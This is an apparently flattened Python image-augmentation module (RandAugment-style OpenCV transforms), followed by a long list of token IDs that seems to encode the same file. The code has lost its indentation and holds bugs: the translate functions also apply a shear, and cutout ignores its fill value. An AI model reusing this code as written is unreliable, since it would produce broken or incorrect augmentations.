c = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8, 8))
yuv[:, :, 0] = c.apply(yuv[:, :, 0])
else:
yuv[:, :, 0] = cv2.equalizeHist(yuv[:, :, 0]) # equalize Y channel histogram
return cv2.cvtColor(yuv, cv2.COLOR_YUV2BGR if bgr else cv2.COLOR_YUV2RGB) # convert YUV image to RGB
def solarize(image, level=128):
threshold = level
image = image.copy()
# For each pixel in the image, select the pixel
# if the value is less than the threshold.
# Otherwise, subtract 255 from the pixel.
return np.where(image <= threshold, image, 255 - image)
def posterize(img, level=3):
bits = level
shift = 8 - bits
# img = img >> shift
img = np.left_shift(img,shift)
img = np.right_shift(img,shift)
return img.astype('uint8')
def adjust_brightness(img,level=0.5):
factor = level
degenerate = np.zeros(img.shape,dtype='uint8')
img = RandAugment.mixup(img,degenerate,factor)
return img
def invert(img,level=None):
return 255-img
def contrast(img,factor=0.5):
degenerate = cv2.cvtColor(cv2.cvtColor(img, cv2.COLOR_BGR2GRAY), cv2.COLOR_GRAY2BGR)
return RandAugment.mixup(img,degenerate,factor)
def shear_x(img,level=0.4,mode='reflect'):
M = np.array([[1, level, 0],
[0, 1 , 0],
[0, 0 , 1]],dtype='float')
height,width,_ = img.shape
option_mode ={
'reflect' : cv2.BORDER_REPLICATE,
'constant' : cv2.BORDER_CONSTANT
}
mode = option_mode[mode]
sheared_img = cv2.warpPerspective(img, M, (width, height), borderMode=mode)
return sheared_img
def shear_y(img,level=0.4,mode='reflect'):
M = np.array([[1, 0 , 0],
[level, 1 , 0],
[0, 0 , 1]],dtype='float')
height,width,_ = img.shape
option_mode ={
'reflect' : cv2.BORDER_REPLICATE,
'constant' : cv2.BORDER_CONSTANT
}
mode = option_mode[mode]
sheared_img = cv2.warpPerspective(img, M, (width, height), borderMode=mode)
return sheared_img
def translate_x(img,level,mode='reflect'):
height,width,_ = img.shape
option_mode ={
'reflect' : cv2.BORDER_REPLICATE,
'constant' : cv2.BORDER_CONSTANT
}
mode = option_mode[mode]
translate_pixel = int(width * level)
M = np.array([[1, 0 , translate_pixel],
[level, 1 , 0],
[0, 0 , 1]],dtype='float')
translate_img = cv2.warpPerspective(img, M, (width, height), borderMode=mode)
return translate_img
def translate_y(img,level,mode='reflect'):
height,width,_ = img.shape
option_mode ={
'reflect' : cv2.BORDER_REPLICATE,
'constant' : cv2.BORDER_CONSTANT
}
mode = option_mode[mode]
translate_pixel = int(width * level)
M = np.array([[1, 0 , 0],
[level, 1 , translate_pixel],
[0, 0 , 1]],dtype='float')
translate_img = cv2.warpPerspective(img, M, (width, height), borderMode=mode)
return translate_img
# def sharpness(img,):
# kernel = np.array(
# [[1, 1, 1],
# [1, 5, 1],
# [1, 1, 1]], dtype=tf.float32,
# shape=[3, 3, 1, 1]) / 13.
# cv2.
def cutout(img,level,**kwargs):
img = img.copy()
height,width ,_ = img.shape
padding_size = int(height*level),int(width*level)
value = kwargs.get('value')
cordinate_h = np.random.randint(0,height-padding_size[0])
cordinate_w = np.random.randint(0,width-padding_size[1])
img[cordinate_h:cordinate_h+padding_size[0],cordinate_w:cordinate_w+padding_size[1],:] = 255
return img
def rotate(image, level=45, center = None, scale = 1.0):
angle=level
(h, w) = image.shape[:2]
if center is None:
center = (w / 2, h / 2)
# Perform the rotation
M = cv2.getRotationMatrix2D(center, angle, scale)
rotated = cv2.warpAffine(image, M, (w, h),borderMode=cv2.BORDER_REPLICATE)
return rotated
def cut_25_under(img,level=0.25):
ratio = level
height,width,_ = img.shape
new_height = int((1-ratio)*height)
img_ = img[:new_height,:,:]
height,width,_ = img_.shape
if height > width :
img2 = np.pad(img_,[[0,0],[(height-width)//2,(height-width)//2],[0,0]],mode='constant',constant_values=255)
else:
img2 = np.pad(img_,[[(width-height)//2,(width-height)//2],[0,0],[0,0]],mode='constant',constant_values=255)
img2 = cv2.resize(img2,(224,224))
return img2
def cut_25_above(img,level=0.25):
ratio = level
height,width,_ = img.shape
new_height = int(ratio*height)
img_ = img[new_height:,:,:]
height,width,_ = img_.shape
if height > width :
img2 = np.pad(img_,[[0,0],[(height-width)//2,(height-width)//2],[0,0]],mode='constant',constant_values=255)
else:
img2 = np.pad(img_,[[(width-height)//2,(width-height)//2],[0,0],[0,0]],mode='constant',constant_values=255)
img2 = cv2.resize(img2,(224,224))
return img2
def cut_25_right(img,level=0.25):
ratio = level
height,width,_ = img.shape
new_width = int((1-ratio)*width)
img_ = img[:,:new_width,:]
height,width,_ = img_.shape
if height > width :
img2 = np.pad(img_,[[0,0],[(height-width)//2,(height-width)//2],[0,0]],mode='constant',constant_values=255)
else:
img2 = np.pad(img_,[[(width-height)//2,(width-height)//2],[0,0],[0,0]],mode='constant',constant_values=255)
img2 = cv2.resize(img2,(224,224))
return img2
def cut_25_left(img,level=0.25):
ratio = level
height,width,_ = img.shape
new_width = int(ratio*width)
img_ = img[:,new_width:,:]
height,width,_ = img_.shape
if height > width :
img2 = np.pad(img_,[[0,0],[(height-width)//2,(height-width)//2],[0,0]],mode='constant',constant_values=255)
else:
img2 = np.pad(img_,[[(width-height)//2,(width-height)//2],[0,0],[0,0]],mode='constant',constant_values=255)
img2 = cv2.resize(img2,(224,224))
return img2
def __call__(self,img):
augmenters = random.choices(self.policy, k=self.num_layers)
for augmenter in augmenters:
level = random.random()
# try:
min_arg,max_arg = self.ARGS_LIMIT[augmenter]
level = min_arg + (max_arg - min_arg) * level
img = self.AUGMENT_FUNCTION[augmenter](img,level=level)
# except:
# print(augmenter)
return img
def augmentation_test():
img_org = cv2.imread('test.jpg')
import yaml
augment_params = yaml.safe_load(open('config/default/train_config.yaml')).get('augment_params')
augmenter = RandAugment(augment_params=augment_params)#(num_layers=1)
for _ in range(10000):
img_aug = augmenter(img_org)
img_pad = preprocess(img_aug,224)
# cv2.imshow('a',img_org)
# cv2.imshow('b',img_aug)
# cv2.imshow('c',img_pad)
# if cv2.waitKey(0)==ord('q'):
# exit()
if __name__ =='__main__':
augmentation_test() | [
1,
529,
276,
1112,
420,
29958,
29881,
586,
2035,
24338,
29882,
29914,
9910,
29899,
7662,
29899,
1990,
2450,
29966,
9507,
29958,
4993,
29914,
13239,
29914,
2987,
358,
800,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
12655,
408,
7442,
29871,
13,
5215,
13850,
29906,
13,
5215,
4036,
13,
1753,
758,
5014,
29898,
2492,
29892,
2492,
29918,
2311,
29892,
12791,
29922,
5574,
1125,
13,
1678,
9995,
29961,
7727,
29962,
13,
13,
1678,
826,
3174,
29901,
13,
4706,
10153,
313,
9302,
29889,
299,
2378,
1125,
4558,
29871,
13,
4706,
10153,
29918,
2311,
313,
524,
29892,
1761,
29892,
23583,
1125,
3646,
2159,
29889,
8087,
29901,
29871,
29906,
29906,
29946,
1919,
313,
29906,
29906,
29946,
29892,
29906,
29906,
29946,
29897,
470,
518,
29906,
29906,
29946,
29892,
29906,
29906,
29946,
29962,
13,
4706,
7164,
313,
11227,
1125,
7164,
10153,
1434,
19490,
29889,
4721,
794,
515,
1967,
1320,
441,
291,
29889,
13109,
29879,
304,
5852,
29889,
13,
13,
1678,
16969,
29901,
13,
4706,
4558,
313,
9302,
29889,
299,
2378,
1125,
4558,
297,
3646,
2159,
13,
1678,
9995,
13,
1678,
565,
7164,
29901,
13,
4706,
3171,
29892,
2103,
29892,
29918,
353,
10153,
29889,
12181,
29871,
13,
4706,
19471,
353,
3171,
448,
2920,
29871,
13,
308,
13,
4706,
565,
19471,
1405,
29871,
29900,
29901,
13,
9651,
10153,
353,
7442,
29889,
8305,
29898,
2492,
29892,
8999,
29900,
29892,
29900,
16272,
4181,
458,
29906,
29892,
4181,
458,
29906,
16272,
29900,
29892,
29900,
20526,
4464,
2433,
23362,
742,
23362,
29918,
5975,
353,
29906,
29945,
29945,
29897,
13,
4706,
1683,
29901,
13,
9651,
10153,
353,
7442,
29889,
8305,
29898,
2492,
29892,
8999,
29899,
4181,
458,
29906,
6653,
4181,
458,
29906,
16272,
29900,
29892,
29900,
16272,
29900,
29892,
29900,
20526,
4464,
2433,
23362,
742,
23362,
29918,
5975,
353,
29906,
29945,
29945,
29897,
13,
1678,
565,
338,
8758,
29898,
2492,
29918,
2311,
29892,
524,
1125,
13,
4706,
10153,
29918,
2311,
353,
313,
2492,
29918,
2311,
29892,
2492,
29918,
2311,
29897,
13,
1678,
736,
13850,
29906,
29889,
21476,
29898,
2492,
29892,
2492,
29918,
2311,
29897,
13,
13,
1990,
17468,
29909,
688,
358,
29901,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
18765,
29918,
7529,
1125,
13,
4706,
1583,
29889,
1949,
29918,
29277,
353,
18765,
29918,
7529,
1839,
1949,
29918,
29277,
2033,
4706,
13,
4706,
1583,
29889,
29909,
23338,
13780,
29918,
29943,
28700,
353,
426,
13,
9651,
525,
20157,
572,
29878,
29915,
584,
17468,
29909,
688,
358,
29889,
2987,
358,
29918,
20157,
572,
29878,
565,
18765,
29918,
7529,
29889,
657,
877,
20157,
572,
29878,
1495,
1683,
6213,
29892,
13,
9651,
525,
2987,
358,
29918,
29882,
4501,
29915,
584,
17468,
29909,
688,
358,
29889,
2987,
358,
29918,
29882,
4501,
565,
18765,
29918,
7529,
29889,
657,
877,
2987,
358,
29918,
29882,
4501,
1495,
1683,
6213,
29892,
13,
9651,
525,
29882,
391,
29918,
11745,
675,
29915,
584,
17468,
29909,
688,
358,
29889,
29882,
391,
29918,
11745,
675,
565,
18765,
29918,
7529,
29889,
657,
877,
29882,
391,
29918,
11745,
675,
1495,
1683,
6213,
29892,
13,
9651,
525,
2929,
279,
675,
29915,
584,
17468,
29909,
688,
358,
29889,
2929,
279,
675,
565,
18765,
29918,
7529,
29889,
657,
877,
2929,
279,
675,
1495,
1683,
6213,
29892,
13,
9651,
525,
2490,
261,
675,
2396,
17468,
29909,
688,
358,
29889,
2490,
261,
675,
565,
18765,
29918,
7529,
29889,
657,
877,
2490,
261,
675,
1495,
1683,
6213,
29892,
13,
9651,
525,
328,
5143,
29918,
1182,
523,
2264,
2396,
17468,
29909,
688,
358,
29889,
328,
5143,
29918,
1182,
523,
2264,
565,
18765,
29918,
7529,
29889,
657,
877,
328,
5143,
29918,
1182,
523,
2264,
1495,
1683,
6213,
29892,
13,
9651,
525,
262,
1765,
29915,
584,
17468,
29909,
688,
358,
29889,
262,
1765,
565,
18765,
29918,
7529,
29889,
657,
877,
262,
1765,
1495,
1683,
6213,
29892,
13,
9651,
525,
9996,
579,
2396,
17468,
29909,
688,
358,
29889,
9996,
579,
565,
18765,
29918,
7529,
29889,
657,
877,
9996,
579,
1495,
1683,
6213,
29892,
13,
9651,
525,
11360,
279,
29990,
29915,
584,
17468,
29909,
688,
358,
29889,
11360,
279,
29918,
29916,
565,
18765,
29918,
7529,
29889,
657,
877,
11360,
279,
29990,
1495,
1683,
6213,
29892,
13,
9651,
525,
11360,
279,
29979,
29915,
584,
17468,
29909,
688,
358,
29889,
11360,
279,
29918,
29891,
565,
18765,
29918,
7529,
29889,
657,
877,
11360,
279,
29979,
1495,
1683,
6213,
29892,
13,
9651,
525,
21652,
29990,
29915,
584,
17468,
29909,
688,
358,
29889,
21652,
29918,
29916,
565,
18765,
29918,
7529,
29889,
657,
877,
21652,
29990,
1495,
1683,
6213,
29892,
13,
9651,
525,
21652,
29979,
29915,
584,
17468,
29909,
688,
358,
29889,
21652,
29918,
29891,
565,
18765,
29918,
7529,
29889,
657,
877,
21652,
29979,
1495,
1683,
6213,
29892,
13,
9651,
525,
22064,
2264,
29915,
584,
17468,
29909,
688,
358,
29889,
22064,
2264,
565,
18765,
29918,
7529,
29889,
657,
877,
22064,
2264,
1495,
1683,
6213,
29892,
13,
9651,
525,
7582,
449,
29915,
584,
17468,
29909,
688,
358,
29889,
7582,
449,
565,
18765,
29918,
7529,
29889,
657,
877,
7582,
449,
1495,
1683,
6213,
29892,
13,
9651,
525,
23361,
29915,
584,
17468,
29909,
688,
358,
29889,
23361,
565,
18765,
29918,
7529,
29889,
657,
877,
23361,
1495,
1683,
6213,
29892,
13,
9651,
525,
7582,
29918,
29906,
29945,
29918,
1563,
29915,
584,
17468,
29909,
688,
358,
29889,
7582,
29918,
29906,
29945,
29918,
1563,
565,
18765,
29918,
7529,
29889,
657,
877,
7582,
29918,
29906,
29945,
29918,
1563,
1495,
1683,
6213,
29892,
13,
9651,
525,
7582,
29918,
29906,
29945,
29918,
1266,
2396,
17468,
29909,
688,
358,
29889,
7582,
29918,
29906,
29945,
29918,
1266,
565,
18765,
29918,
7529,
29889,
657,
877,
7582,
29918,
29906,
29945,
29918,
1266,
1495,
1683,
6213,
29892,
13,
9651,
525,
7582,
29918,
29906,
29945,
29918,
27215,
2396,
17468,
29909,
688,
358,
29889,
7582,
29918,
29906,
29945,
29918,
27215,
565,
18765,
29918,
7529,
29889,
657,
877,
7582,
29918,
29906,
29945,
29918,
27215,
1495,
1683,
6213,
29892,
13,
9651,
525,
7582,
29918,
29906,
29945,
29918,
5062,
2396,
17468,
29909,
688,
358,
29889,
7582,
29918,
29906,
29945,
29918,
5062,
565,
18765,
29918,
7529,
29889,
657,
877,
7582,
29918,
29906,
29945,
29918,
5062,
1495,
1683,
6213,
29892,
13,
9651,
396,
525,
8172,
29918,
29883,
1336,
2396,
8172,
29918,
29883,
1336,
13,
4706,
500,
13,
4706,
1583,
29889,
1718,
10749,
29918,
5265,
26349,
353,
426,
13,
9651,
525,
20157,
572,
29878,
29915,
584,
18765,
29918,
7529,
29889,
657,
877,
20157,
572,
29878,
5477,
13,
9651,
525,
2987,
358,
29918,
29882,
4501,
2396,
18765,
29918,
7529,
29889,
657,
877,
2987,
358,
29918,
29882,
4501,
5477,
13,
9651,
525,
29882,
391,
29918,
11745,
675,
29915,
584,
18765,
29918,
7529,
29889,
657,
877,
29882,
391,
29918,
11745,
675,
5477,
13,
9651,
525,
2929,
279,
675,
29915,
584,
18765,
29918,
7529,
29889,
657,
877,
2929,
279,
675,
5477,
13,
9651,
525,
2490,
261,
675,
2396,
18765,
29918,
7529,
29889,
657,
877,
2490,
261,
675,
5477,
13,
9651,
525,
328,
5143,
29918,
1182,
523,
2264,
2396,
18765,
29918,
7529,
29889,
657,
877,
328,
5143,
29918,
1182,
523,
2264,
5477,
13,
9651,
525,
262,
1765,
29915,
584,
18765,
29918,
7529,
29889,
657,
877,
262,
1765,
5477,
13,
9651,
525,
9996,
579,
2396,
18765,
29918,
7529,
29889,
657,
877,
9996,
579,
5477,
13,
9651,
525,
11360,
279,
29990,
29915,
584,
18765,
29918,
7529,
29889,
657,
877,
11360,
279,
29990,
5477,
13,
9651,
525,
11360,
279,
29979,
29915,
584,
18765,
29918,
7529,
29889,
657,
877,
11360,
279,
29979,
5477,
13,
9651,
525,
21652,
29990,
29915,
584,
18765,
29918,
7529,
29889,
657,
877,
21652,
29990,
5477,
13,
9651,
525,
21652,
29979,
29915,
584,
18765,
29918,
7529,
29889,
657,
877,
21652,
29979,
5477,
13,
9651,
525,
22064,
2264,
29915,
584,
18765,
29918,
7529,
29889,
657,
877,
22064,
2264,
5477,
13,
9651,
525,
7582,
449,
29915,
584,
18765,
29918,
7529,
29889,
657,
877,
7582,
449,
5477,
13,
9651,
525,
23361,
29915,
584,
29871,
18765,
29918,
7529,
29889,
657,
877,
23361,
5477,
13,
9651,
525,
7582,
29918,
29906,
29945,
29918,
1563,
29915,
584,
18765,
29918,
7529,
29889,
657,
877,
7582,
29918,
29906,
29945,
29918,
1563,
5477,
13,
9651,
525,
7582,
29918,
29906,
29945,
29918,
1266,
2396,
18765,
29918,
7529,
29889,
657,
877,
7582,
29918,
29906,
29945,
29918,
1266,
5477,
13,
9651,
525,
7582,
29918,
29906,
29945,
29918,
27215,
2396,
18765,
29918,
7529,
29889,
657,
877,
7582,
29918,
29906,
29945,
29918,
27215,
5477,
13,
9651,
525,
7582,
29918,
29906,
29945,
29918,
5062,
2396,
18765,
29918,
7529,
29889,
657,
877,
7582,
29918,
29906,
29945,
29918,
5062,
1495,
13,
9651,
396,
525,
8172,
29918,
29883,
1336,
2396,
8172,
29918,
29883,
1336,
13,
4706,
500,
13,
4706,
1583,
29889,
22197,
353,
1051,
29898,
29895,
363,
413,
29892,
29894,
297,
1583,
29889,
29909,
23338,
13780,
29918,
29943,
28700,
29889,
7076,
580,
565,
325,
29897,
13,
4706,
396,
1596,
29898,
1311,
29889,
22197,
29897,
13,
1678,
822,
6837,
786,
29898,
2492,
29896,
29892,
2492,
29906,
29892,
19790,
1125,
13,
4706,
10153,
353,
10153,
29896,
29889,
579,
668,
877,
7411,
1495,
29930,
7329,
718,
10153,
29906,
29889,
579,
668,
877,
7411,
1495,
334,
313,
29896,
29899,
19790,
29897,
13,
4706,
10153,
353,
7442,
29889,
24049,
29898,
2492,
29892,
29871,
29900,
29892,
29906,
29945,
29945,
29897,
13,
4706,
10153,
353,
10153,
29889,
579,
668,
877,
13470,
29947,
1495,
13,
4706,
736,
10153,
13,
13,
1678,
822,
18765,
29918,
20157,
572,
29878,
29898,
2492,
29892,
5563,
1125,
13,
4706,
565,
4036,
29889,
8172,
580,
529,
3233,
29901,
13,
9651,
736,
7442,
29889,
20157,
572,
29878,
29898,
2492,
29897,
13,
4706,
736,
10153,
29871,
13,
13,
1678,
822,
18765,
29918,
29882,
4501,
29898,
326,
29892,
3233,
29922,
8516,
29892,
298,
29887,
475,
29922,
29900,
29889,
29900,
29896,
29945,
29892,
269,
29887,
475,
29922,
29900,
29889,
29955,
29892,
325,
29887,
475,
29922,
29900,
29889,
29946,
1125,
13,
4706,
527,
353,
527,
29889,
8552,
580,
13,
4706,
396,
379,
7597,
2927,
29899,
3493,
18765,
362,
13,
4706,
565,
298,
29887,
475,
470,
269,
29887,
475,
470,
325,
29887,
475,
29901,
13,
9651,
364,
353,
7442,
29889,
8172,
29889,
29590,
6278,
29896,
29892,
29871,
29896,
29892,
29871,
29941,
29897,
334,
518,
29882,
29887,
475,
29892,
269,
29887,
475,
29892,
325,
29887,
475,
29962,
718,
29871,
29896,
29871,
396,
4036,
330,
2708,
13,
9651,
298,
434,
29892,
3290,
29892,
659,
353,
13850,
29906,
29889,
5451,
29898,
11023,
29906,
29889,
11023,
29873,
3306,
29898,
326,
29892,
13850,
29906,
29889,
15032,
1955,
29918,
29933,
14345,
29906,
29950,
7597,
876,
13,
9651,
26688,
353,
527,
29889,
29881,
1853,
29871,
396,
13122,
29947,
13,
13,
9651,
921,
353,
7442,
29889,
279,
927,
29898,
29900,
29892,
29871,
29906,
29945,
29953,
29892,
26688,
29922,
29878,
29889,
29881,
1853,
29897,
13,
9651,
15481,
29918,
29882,
434,
353,
5135,
29916,
334,
364,
29961,
29900,
2314,
1273,
29871,
29896,
29947,
29900,
467,
579,
668,
29898,
29881,
1853,
29897,
13,
9651,
15481,
29918,
29879,
271,
353,
7442,
29889,
24049,
29898,
29916,
334,
364,
29961,
29896,
1402,
29871,
29900,
29892,
29871,
29906,
29945,
29945,
467,
579,
668,
29898,
29881,
1853,
29897,
13,
9651,
15481,
29918,
791,
353,
7442,
29889,
24049,
29898,
29916,
334,
364,
29961,
29906,
1402,
29871,
29900,
29892,
29871,
29906,
29945,
29945,
467,
579,
668,
29898,
29881,
1853,
29897,
13,
13,
9651,
527,
29918,
29882,
4501,
353,
13850,
29906,
29889,
14634,
3552,
11023,
29906,
29889,
29931,
2692,
29898,
29882,
434,
29892,
15481,
29918,
29882,
434,
511,
13850,
29906,
29889,
29931,
2692,
29898,
29879,
271,
29892,
15481,
29918,
29879,
271,
511,
13850,
29906,
29889,
29931,
2692,
29898,
791,
29892,
15481,
29918,
791,
4961,
13,
9651,
13850,
29906,
29889,
11023,
29873,
3306,
29898,
326,
29918,
29882,
4501,
29892,
13850,
29906,
29889,
15032,
1955,
29918,
29950,
7597,
29906,
29933,
14345,
29892,
29743,
29922,
326,
29897,
29871,
396,
694,
736,
4312,
13,
4706,
736,
527,
29918,
29882,
4501,
13,
13,
1678,
822,
9825,
29918,
11745,
675,
29898,
326,
29892,
3233,
29922,
8516,
29892,
16398,
354,
29922,
5574,
29892,
289,
629,
29922,
5574,
1125,
13,
4706,
527,
353,
527,
29889,
8552,
580,
13,
4706,
396,
11243,
284,
675,
9825,
13342,
373,
350,
14345,
1967,
525,
326,
29915,
411,
527,
29889,
12181,
29898,
29876,
29892,
29885,
29892,
29941,
29897,
322,
3464,
29871,
29900,
29899,
29906,
29945,
29945,
13,
4706,
343,
4090,
353,
13850,
29906,
29889,
11023,
29873,
3306,
29898,
326,
29892,
13850,
29906,
29889,
15032,
1955,
29918,
29933,
14345,
29906,
29979,
29965,
29963,
565,
289,
629,
1683,
13850,
29906,
29889,
15032,
1955,
29918,
28212,
29906,
29979,
29965,
29963,
29897,
13,
4706,
565,
3711,
354,
29901,
13,
9651,
274,
353,
13850,
29906,
29889,
3258,
13875,
9606,
29898,
24049,
24445,
29922,
29906,
29889,
29900,
29892,
25900,
5756,
3505,
7607,
29947,
29892,
29871,
29947,
876,
13,
9651,
343,
4090,
7503,
29892,
584,
29892,
29871,
29900,
29962,
353,
274,
29889,
7302,
29898,
29891,
4090,
7503,
29892,
584,
29892,
29871,
29900,
2314,
13,
4706,
1683,
29901,
13,
9651,
343,
4090,
7503,
29892,
584,
29892,
29871,
29900,
29962,
353,
13850,
29906,
29889,
11745,
675,
29950,
391,
29898,
29891,
4090,
7503,
29892,
584,
29892,
29871,
29900,
2314,
29871,
396,
5186,
675,
612,
8242,
9825,
13342,
13,
4706,
736,
13850,
29906,
29889,
11023,
29873,
3306,
29898,
29891,
4090,
29892,
13850,
29906,
29889,
15032,
1955,
29918,
29979,
29965,
29963,
29906,
29933,
14345,
565,
289,
629,
1683,
13850,
29906,
29889,
15032,
1955,
29918,
29979,
29965,
29963,
29906,
28212,
29897,
29871,
396,
3588,
612,
29965,
29963,
1967,
304,
390,
7210,
13,
13,
1678,
822,
21635,
675,
29898,
3027,
29892,
3233,
29922,
29896,
29906,
29947,
1125,
13,
4706,
16897,
353,
3233,
13,
4706,
1967,
353,
1967,
29889,
8552,
580,
13,
4706,
396,
1152,
1269,
15526,
297,
278,
1967,
29892,
1831,
278,
15526,
13,
4706,
396,
565,
278,
995,
338,
3109,
1135,
278,
16897,
29889,
13,
4706,
396,
13466,
29892,
23197,
29871,
29906,
29945,
29945,
515,
278,
15526,
29889,
13,
4706,
736,
7442,
29889,
3062,
29898,
3027,
5277,
16897,
29892,
1967,
29892,
29871,
29906,
29945,
29945,
448,
1967,
29897,
13,
13,
1678,
822,
10368,
675,
29898,
2492,
29892,
3233,
29922,
29941,
1125,
13,
4706,
9978,
353,
3233,
13,
4706,
9500,
353,
29871,
29947,
448,
9978,
13,
4706,
396,
10153,
353,
10153,
5099,
9500,
13,
4706,
10153,
353,
7442,
29889,
1563,
29918,
10889,
29898,
2492,
29892,
10889,
29897,
13,
4706,
10153,
353,
7442,
29889,
1266,
29918,
10889,
29898,
2492,
29892,
10889,
29897,
13,
4706,
736,
10153,
29889,
579,
668,
877,
13470,
29947,
1495,
13,
13,
1678,
822,
10365,
29918,
1182,
523,
2264,
29898,
2492,
29892,
5563,
29922,
29900,
29889,
29945,
1125,
13,
4706,
7329,
353,
3233,
13,
4706,
3587,
759,
403,
353,
7442,
29889,
3298,
359,
29898,
2492,
29889,
12181,
29892,
29881,
1853,
2433,
13470,
29947,
1495,
13,
4706,
10153,
353,
17468,
29909,
688,
358,
29889,
28084,
786,
29898,
2492,
29892,
311,
17158,
29892,
19790,
29897,
13,
4706,
736,
10153,
13,
13,
1678,
822,
21292,
29898,
2492,
29892,
5563,
29922,
8516,
1125,
13,
4706,
736,
29871,
29906,
29945,
29945,
29899,
2492,
13,
13,
1678,
822,
12814,
29898,
2492,
29892,
19790,
29922,
29900,
29889,
29945,
1125,
29871,
13,
4706,
3587,
759,
403,
353,
13850,
29906,
29889,
11023,
29873,
3306,
29898,
11023,
29906,
29889,
11023,
29873,
3306,
29898,
2492,
29892,
13850,
29906,
29889,
15032,
1955,
29918,
29933,
14345,
29906,
29954,
22800,
511,
13850,
29906,
29889,
15032,
1955,
29918,
29954,
22800,
29906,
29933,
14345,
29897,
13,
4706,
736,
17468,
29909,
688,
358,
29889,
28084,
786,
29898,
2492,
29892,
311,
17158,
29892,
19790,
29897,
13,
13,
1678,
822,
1183,
279,
29918,
29916,
29898,
2492,
29892,
5563,
29922,
29900,
29889,
29946,
29892,
8513,
2433,
13191,
29374,
13,
4706,
341,
353,
7442,
29889,
2378,
4197,
29961,
29896,
29892,
3233,
29892,
29871,
29900,
1402,
13,
462,
1678,
518,
29900,
29892,
259,
29896,
259,
1919,
29871,
29900,
1402,
13,
462,
1678,
518,
29900,
29892,
259,
29900,
259,
1919,
29871,
29896,
20526,
29881,
1853,
2433,
7411,
1495,
13,
4706,
3171,
29892,
2103,
29892,
29918,
353,
10153,
29889,
12181,
13,
4706,
2984,
29918,
8513,
353,
29912,
13,
9651,
525,
13191,
29915,
29871,
584,
13850,
29906,
29889,
29933,
22364,
29918,
1525,
7390,
2965,
3040,
29892,
13,
9651,
525,
23362,
29915,
584,
13850,
29906,
29889,
29933,
22364,
29918,
6007,
1254,
13566,
13,
4706,
500,
13,
4706,
4464,
353,
2984,
29918,
8513,
29961,
8513,
29962,
13,
4706,
1183,
1965,
29918,
2492,
353,
13850,
29906,
29889,
4495,
29886,
15136,
12645,
29898,
2492,
29892,
341,
29892,
313,
2103,
29892,
3171,
511,
5139,
6818,
29922,
8513,
29897,
13,
4706,
736,
1183,
1965,
29918,
2492,
13,
13,
1678,
822,
1183,
279,
29918,
29891,
29898,
2492,
29892,
5563,
29922,
29900,
29889,
29946,
29892,
8513,
2433,
13191,
29374,
13,
4706,
341,
353,
7442,
29889,
2378,
4197,
29961,
29896,
29892,
539,
29900,
259,
1919,
29871,
29900,
1402,
13,
462,
1678,
518,
5563,
29892,
259,
29896,
259,
1919,
29871,
29900,
1402,
13,
462,
1678,
518,
29900,
29892,
539,
29900,
259,
1919,
29871,
29896,
20526,
29881,
1853,
2433,
7411,
1495,
13,
4706,
3171,
29892,
2103,
29892,
29918,
353,
10153,
29889,
12181,
13,
4706,
2984,
29918,
8513,
353,
29912,
13,
9651,
525,
13191,
29915,
29871,
584,
13850,
29906,
29889,
29933,
22364,
29918,
1525,
7390,
2965,
3040,
29892,
13,
9651,
525,
23362,
29915,
584,
13850,
29906,
29889,
29933,
22364,
29918,
6007,
1254,
13566,
13,
4706,
500,
13,
4706,
4464,
353,
2984,
29918,
8513,
29961,
8513,
29962,
13,
4706,
1183,
1965,
29918,
2492,
353,
13850,
29906,
29889,
4495,
29886,
15136,
12645,
29898,
2492,
29892,
341,
29892,
313,
2103,
29892,
3171,
511,
5139,
6818,
29922,
8513,
29897,
13,
4706,
736,
1183,
1965,
29918,
2492,
13,
13,
1678,
822,
14240,
29918,
29916,
29898,
2492,
29892,
5563,
29892,
8513,
2433,
13191,
29374,
29871,
13,
4706,
3171,
29892,
2103,
29892,
29918,
353,
10153,
29889,
12181,
13,
4706,
2984,
29918,
8513,
353,
29912,
13,
9651,
525,
13191,
29915,
29871,
584,
13850,
29906,
29889,
29933,
22364,
29918,
1525,
7390,
2965,
3040,
29892,
13,
9651,
525,
23362,
29915,
584,
13850,
29906,
29889,
29933,
22364,
29918,
6007,
1254,
13566,
13,
4706,
500,
13,
4706,
4464,
353,
2984,
29918,
8513,
29961,
8513,
29962,
13,
4706,
14240,
29918,
29886,
15711,
353,
938,
29898,
2103,
334,
3233,
29897,
13,
4706,
341,
353,
7442,
29889,
2378,
4197,
29961,
29896,
29892,
539,
29900,
259,
1919,
14240,
29918,
29886,
15711,
1402,
13,
462,
1678,
518,
5563,
29892,
259,
29896,
259,
1919,
29871,
29900,
1402,
13,
462,
1678,
518,
29900,
29892,
539,
29900,
259,
1919,
29871,
29896,
20526,
29881,
1853,
2433,
7411,
1495,
13,
4706,
14240,
29918,
2492,
353,
13850,
29906,
29889,
4495,
29886,
15136,
12645,
29898,
2492,
29892,
341,
29892,
313,
2103,
29892,
3171,
511,
5139,
6818,
29922,
8513,
29897,
13,
4706,
736,
14240,
29918,
2492,
13,
13,
1678,
822,
14240,
29918,
29891,
29898,
2492,
29892,
5563,
29892,
8513,
2433,
13191,
29374,
29871,
13,
4706,
3171,
29892,
2103,
29892,
29918,
353,
10153,
29889,
12181,
13,
4706,
2984,
29918,
8513,
353,
29912,
13,
9651,
525,
13191,
29915,
29871,
584,
13850,
29906,
29889,
29933,
22364,
29918,
1525,
7390,
2965,
3040,
29892,
13,
9651,
525,
23362,
29915,
584,
13850,
29906,
29889,
29933,
22364,
29918,
6007,
1254,
13566,
13,
4706,
500,
13,
4706,
4464,
353,
2984,
29918,
8513,
29961,
8513,
29962,
13,
4706,
14240,
29918,
29886,
15711,
353,
938,
29898,
2103,
334,
3233,
29897,
13,
4706,
341,
353,
7442,
29889,
2378,
4197,
29961,
29896,
29892,
539,
29900,
259,
1919,
29871,
29900,
1402,
13,
462,
1678,
518,
5563,
29892,
259,
29896,
259,
1919,
14240,
29918,
29886,
15711,
1402,
13,
462,
1678,
518,
29900,
29892,
539,
29900,
259,
1919,
29871,
29896,
20526,
29881,
1853,
2433,
7411,
1495,
13,
4706,
14240,
29918,
2492,
353,
13850,
29906,
29889,
4495,
29886,
15136,
12645,
29898,
2492,
29892,
341,
29892,
313,
2103,
29892,
3171,
511,
5139,
6818,
29922,
8513,
29897,
13,
4706,
736,
14240,
29918,
2492,
13,
13,
1678,
396,
822,
15301,
2264,
29898,
2492,
29892,
1125,
29871,
13,
1678,
396,
268,
8466,
353,
7442,
29889,
2378,
29898,
13,
1678,
396,
268,
5519,
